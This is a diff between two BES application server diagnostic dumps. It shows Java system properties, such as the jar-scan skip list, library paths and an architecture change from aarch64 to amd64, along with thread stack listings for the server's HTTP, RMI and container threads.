org.eclipse.persistence.eclipselink,bes-ee-common,bes-server-javaagent,org.apache.openwebbeans.openwebbeans-impl,org.apache.cxf.cxf-rt-frontend-jaxws,bes-license,org.apache.xbean.xbean-bundleutils,org.apache.commons.commons-logging,javax.mail,org.apache.cxf.cxf-rt-management,org.apache.openwebbeans.openwebbeans-spi,org.apache.wss4j.wss4j-ws-security-stax,bes-ee-mojarra-connector,bes-server-cxf,bes-engine-ha,org.slf4j.slf4j-jdk14,org.apache.cxf.cxf-rt-frontend-simple,org.apache.commons.commons-collections,org.apache.openwebbeans.openwebbeans-ee,org.ow2.asm.asm-all,bes-webtier-dbcp,bes-webtier-i18n-es,bes-websocket-api,org.apache.commons.commons-beanutils-core,org.apache.xbean.xbean-asm5-shaded,ant,bes-webtier-el-api,bes-server-jee,org.apache.cxf.cxf-rt-rs-security,org.apache.cxf.cxf-rt-ws-addr,mbean-annotation-api,org.apache.wss4j.wss4j-ws-security-common,bes-common-util,bes-server-rest,org.apache.commons.commons-digester,bes-websocket,org.apache.cxf.cxf-rt-rs-json-basic
|
tomcat.util.scan.StandardJarScanFilter.jarsToSkip: bes-server-jpa-integration,bes-jdbcra,org.codehaus.woodstox.stax2-api,bes-web-glue,org.metatype.sxc.sxc-jaxb-core,derbyclient,bes-ejb-glue,org.apache.wss4j.wss4j-bindings,bes-deployment,org.apache.xbean.xbean-reflect,bes-admin-command,bes-server-webservices,bes-ee-webapp,org.apache.johnzon.johnzon,org.apache.openwebbeans.openwebbeans-ee-common,org.apache.wss4j.wss4j-policy,org.apache.commons.commons-codec,org.apache.cxf.cxf-rt-rs-client,bes-ee-loader,bes-webtier-jdbc,org.codehaus.woodstox.woodstox-core-asl,javaee,org.apache.cxf.cxf-rt-rs-service-description,javaee-api-endorsed,bes-config-remote-adapter,bes-descriptor,org.apache.wss4j.wss4j-ws-security-dom,bes-server-internal,bes-logger,org.apache.cxf.cxf-rt-bindings-soap,org.apache.wss4j.bes-wss4j-ws-security-policy-stax,org.apache.cxf.cxf-rt-security,bes-webtier-util,org.apache.cxf.cxf-rt-databinding-jaxb,bes-webtier-coyote,javax.persistence,bes-webtier-jsp-api,bes-server-cxf-transport,bes-engine,bootstrap,org.apache.cxf.cxf-rt-transports-http,bes-patch,org.apache.cxf.cxf-rt-frontend-jaxrs,org.apache.bval-core,bes-ee-jdbc-connector,bes-distributed-session,bes-ee-webservices-connector,bes-launcher,bes-server-api,org.apache.cxf.cxf-rt-security-saml,bes-ee-jaxrs-connector,org.apache.cxf.cxf-rt-ws-policy,org.apache.bval-jsr,bes-server-jee-accessors,bes-server-hsql,org.apache.myfaces.core.myfaces-api,org.apache.openwebbeans.openwebbeans-jsf,org.apache.ws.xmlschema.xmlschema-core,org.objectweb.howl.howl,org.apache.cxf.cxf-rt-rs-extension,bes-server-cxf-rs,bes-webtier-servlet-api,org.apache.xbean.xbean-naming,bes-server-loader,org.apache.commons.commons-cli,org.apache.cxf.cxf-rt-bindings-xml,org.apache.geronimo.specs.geronimo-osgi-locator,org.apache.openwebbeans.openwebbeans-web,bes-webtier-jasper,bes-config-remote,org.apache.commons.commons-pool2,org.apache.geronimo.components.geronimo-transaction,bes-config-serverbeans,bes-server-quartz-shade,org.apache.xbean.xbean-finder-shaded,bes-ee-myfaces-connector,org.apache.cxf.cxf-rt-ws-security,bes-server-client,bes-server-http,org.apache.openwebbeans.openwebbeans-ejb,org.codehaus.swizzle.swizzle-stream,org.slf4j.slf4j-api,org.apache.santuario.xmlsec,org.apache.neethi.neethi,derby,org.apache.cxf.cxf-core,bes-ee-catalina-integration,bes-server-ejbd,bes-deployment-common,bes-config-parser,org.metatype.sxc.sxc-runtime,org.hsqldb.hsqldb,org.apache.commons.commons-lang3,bes-jmx-remote,bes-cli-command,bes-command-api,org.eclipse.jdt.ecj,bes-server-core,bes-api,activation,com.ibm.wsdl4j.wsdl4j,org.apache.openwebbeans.openwebbeans-el22,org.apache.cxf.cxf-rt-wsdl,org.apache.xml-resolver,org.eclipse.persistence.eclipselink,bes-ee-common,bes-server-javaagent,org.apache.openwebbeans.openwebbeans-impl,org.apache.cxf.cxf-rt-frontend-jaxws,bes-license,org.apache.xbean.xbean-bundleutils,org.apache.commons.commons-logging,javax.mail,org.apache.cxf.cxf-rt-management,org.apache.openwebbeans.openwebbeans-spi,org.apache.wss4j.wss4j-ws-security-stax,bes-ee-mojarra-connector,bes-server-cxf,bes-engine-ha,org.slf4j.slf4j-jdk14,org.apache.cxf.cxf-rt-frontend-simple,org.apache.commons.commons-collections,org.apache.openwebbeans.openwebbeans-ee,org.ow2.asm.asm-all,bes-webtier-dbcp,bes-webtier-i18n-es,bes-websocket-api,org.apache.commons.commons-beanutils-core,org.apache.xbean.xbean-asm5-shaded,ant,bes-webtier-el-api,bes-server-jee,org.apache.cxf.cxf-rt-rs-security,org.apache.cxf.cxf-rt-ws-addr,mbean-annotation-api,org.apache.wss4j.wss4j-ws-security-common,bes-common-util,bes-server-rest,org.apache.commons.commons-digester,bes-websocket,org.apache.cxf.cxf-rt-rs-json-basic
|
||||||
java.library.path: /opt/bes/lib:/usr/java/packages/lib/aarch64:/lib:/usr/lib
|
java.library.path: /opt/bes/lib:/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib
|
||||||
java.vendor.url: http://java.oracle.com/
|
java.vendor.url: http://java.oracle.com/
|
||||||
com.bes.enterprise.deployments.classpath: false
|
com.bes.enterprise.deployments.classpath: false
|
||||||
java.vm.vendor: Oracle Corporation
|
java.vm.vendor: Oracle Corporation
|
||||||
@@ -82,7 +82,7 @@ java.awt.headless: true
|
|||||||
java.io.tmpdir: /tmp
|
java.io.tmpdir: /tmp
|
||||||
java.vendor.url.bug: http://bugreport.sun.com/bugreport/
|
java.vendor.url.bug: http://bugreport.sun.com/bugreport/
|
||||||
server.loader:
|
server.loader:
|
||||||
os.arch: aarch64
|
os.arch: amd64
|
||||||
java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
|
java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
|
||||||
com.bes.webbeans.logger.WebBeansLoggerFacade: com.bes.enterprise.ejb.cdi.logging.ContainerJULLoggerFactory
|
com.bes.webbeans.logger.WebBeansLoggerFacade: com.bes.enterprise.ejb.cdi.logging.ContainerJULLoggerFactory
|
||||||
bes.version: 9.5.1
|
bes.version: 9.5.1
|
||||||
@@ -105,132 +105,7 @@ javax.net.ssl.keyStorePassword: changeit
|
|||||||
===========================================
|
===========================================
|
||||||
|
|
||||||
ThreadStacks:
|
ThreadStacks:
|
||||||
"http-nio-0.0.0.0-6900-AsyncTimeout" #69 daemon [TIMED_WAITING]
|
"http-thread-pool-3" #55 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35c5ceb5
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Thread.sleep(Native Method)
|
|
||||||
at org.apache.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1229)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"RMI RenewClean-[192.168.215.4:6600]" #84 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@74891c03
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
|
||||||
at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[server].StandardContext[/app]]" #87 daemon [TIMED_WAITING]
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Thread.sleep(Native Method)
|
|
||||||
at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"RMI TCP Accept-6600" #79 daemon [RUNNABLE]
|
|
||||||
java.lang.Thread.State: RUNNABLE
|
|
||||||
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
|
||||||
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
|
||||||
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
|
|
||||||
at java.net.ServerSocket.accept(ServerSocket.java:528)
|
|
||||||
at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405)
|
|
||||||
at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@70b6864a
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
|
||||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
|
|
||||||
at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216)
|
|
||||||
|
|
||||||
"http-nio-0.0.0.0-6900-ClientPoller-0" #67 daemon [RUNNABLE]
|
|
||||||
java.lang.Thread.State: RUNNABLE
|
|
||||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
|
||||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
|
||||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
|
||||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
|
||||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
|
||||||
at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:801)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"RetryTimer" #51 daemon [WAITING] on java.util.TaskQueue@35b41638
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at java.lang.Object.wait(Object.java:502)
|
|
||||||
at java.util.TimerThread.mainLoop(Timer.java:526)
|
|
||||||
at java.util.TimerThread.run(Timer.java:505)
|
|
||||||
|
|
||||||
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].StandardContext[]]" #75 daemon [TIMED_WAITING]
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Thread.sleep(Native Method)
|
|
||||||
at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"NioBlockingSelector.BlockPoller-2" #16 daemon [RUNNABLE]
|
|
||||||
java.lang.Thread.State: RUNNABLE
|
|
||||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
|
||||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
|
||||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
|
||||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
|
||||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
|
||||||
at org.apache.tomcat.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:339)
|
|
||||||
|
|
||||||
"Stateful cache" #52 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@389e1a89
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
|
||||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
|
||||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"Timer-0" #13 daemon [TIMED_WAITING] on java.util.TaskQueue@44b609d
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at java.util.TimerThread.mainLoop(Timer.java:552)
|
|
||||||
at java.util.TimerThread.run(Timer.java:505)
|
|
||||||
|
|
||||||
"RMI TCP Connection(2)-192.168.215.4" #85 daemon [RUNNABLE]
|
|
||||||
java.lang.Thread.State: RUNNABLE
|
|
||||||
at java.net.SocketInputStream.socketRead0(Native Method)
|
|
||||||
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
|
|
||||||
at java.net.SocketInputStream.read(SocketInputStream.java:171)
|
|
||||||
at java.net.SocketInputStream.read(SocketInputStream.java:141)
|
|
||||||
at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
|
|
||||||
at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
|
|
||||||
at java.io.FilterInputStream.read(FilterInputStream.java:83)
|
|
||||||
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
|
|
||||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
|
|
||||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
|
|
||||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$19/532524051.run(Unknown Source)
|
|
||||||
at java.security.AccessController.doPrivileged(Native Method)
|
|
||||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"admin-thread-pool-2" #56 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@408b3288
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].StandardContext[/sysapp]]" #77 daemon [TIMED_WAITING]
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Thread.sleep(Native Method)
|
|
||||||
at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"http-thread-pool-1" #59 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977
|
|
||||||
java.lang.Thread.State: WAITING
|
java.lang.Thread.State: WAITING
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
@@ -253,75 +128,75 @@ ThreadStacks:
|
|||||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||||
at org.apache.tomcat.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:339)
|
at org.apache.tomcat.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:339)
|
||||||
|
|
||||||
"http-thread-pool-5" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977
|
"GC Daemon" #14 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@4a14f8fc
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"admin-thread-pool-1" #55 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@408b3288
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"http-thread-pool-2" #60 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"bes-deployment-scheduled-executor-thread." #78 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1d99fb1f
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
|
||||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
|
||||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"AsyncLoggerDisruptor-1" #12 daemon [TIMED_WAITING] on java.lang.Object@42893fb9
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
at java.lang.Object.wait(Native Method)
|
at java.lang.Object.wait(Native Method)
|
||||||
at java.lang.Object.wait(Object.java:460)
|
at sun.misc.GC$Daemon.run(GC.java:117)
|
||||||
at com.bes.enterprise.base.disruptor.util.Util.awaitNanos(Util.java:150)
|
|
||||||
at com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy.waitFor(TimeoutBlockingWaitStrategy.java:43)
|
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@1320e0b9
|
||||||
at com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier.waitFor(ProcessingSequenceBarrier.java:56)
|
java.lang.Thread.State: WAITING
|
||||||
at com.bes.enterprise.base.disruptor.BatchEventProcessor.processEvents(BatchEventProcessor.java:159)
|
at java.lang.Object.wait(Native Method)
|
||||||
at com.bes.enterprise.base.disruptor.BatchEventProcessor.run(BatchEventProcessor.java:125)
|
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
||||||
|
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
|
||||||
|
at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216)
|
||||||
|
|
||||||
|
"RMI Reaper" #74 [WAITING] on java.lang.ref.ReferenceQueue$Lock@4e06e655
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
||||||
|
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
|
||||||
|
at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"Signal Dispatcher" #4 daemon [RUNNABLE]
|
"RMI TCP Accept-6600" #73 daemon [RUNNABLE]
|
||||||
java.lang.Thread.State: RUNNABLE
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||||
|
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
||||||
|
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
|
||||||
|
at java.net.ServerSocket.accept(ServerSocket.java:528)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"http-thread-pool-6" #64 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977
|
"RMI Scheduler(0)" #77 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@552d3946
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||||
|
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
||||||
|
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"RMI RenewClean-[172.17.0.3:6600]" #78 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@3893e807
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
||||||
|
at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"NioBlockingSelector.BlockPoller-2" #16 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||||
|
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||||
|
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||||
|
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||||
|
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||||
|
at org.apache.tomcat.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:339)
|
||||||
|
|
||||||
|
"http-nio-0.0.0.0-6900-ClientPoller-0" #61 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||||
|
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||||
|
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||||
|
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||||
|
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||||
|
at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:801)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"http-thread-pool-7" #59 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35c5ceb5
|
||||||
java.lang.Thread.State: WAITING
|
java.lang.Thread.State: WAITING
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
@@ -335,30 +210,21 @@ ThreadStacks:
|
|||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"com.bes.appserv-startStop-1" #53 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5b8f5a12
|
"http-thread-pool-6" #58 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35c5ceb5
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
java.lang.Thread.State: WAITING
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
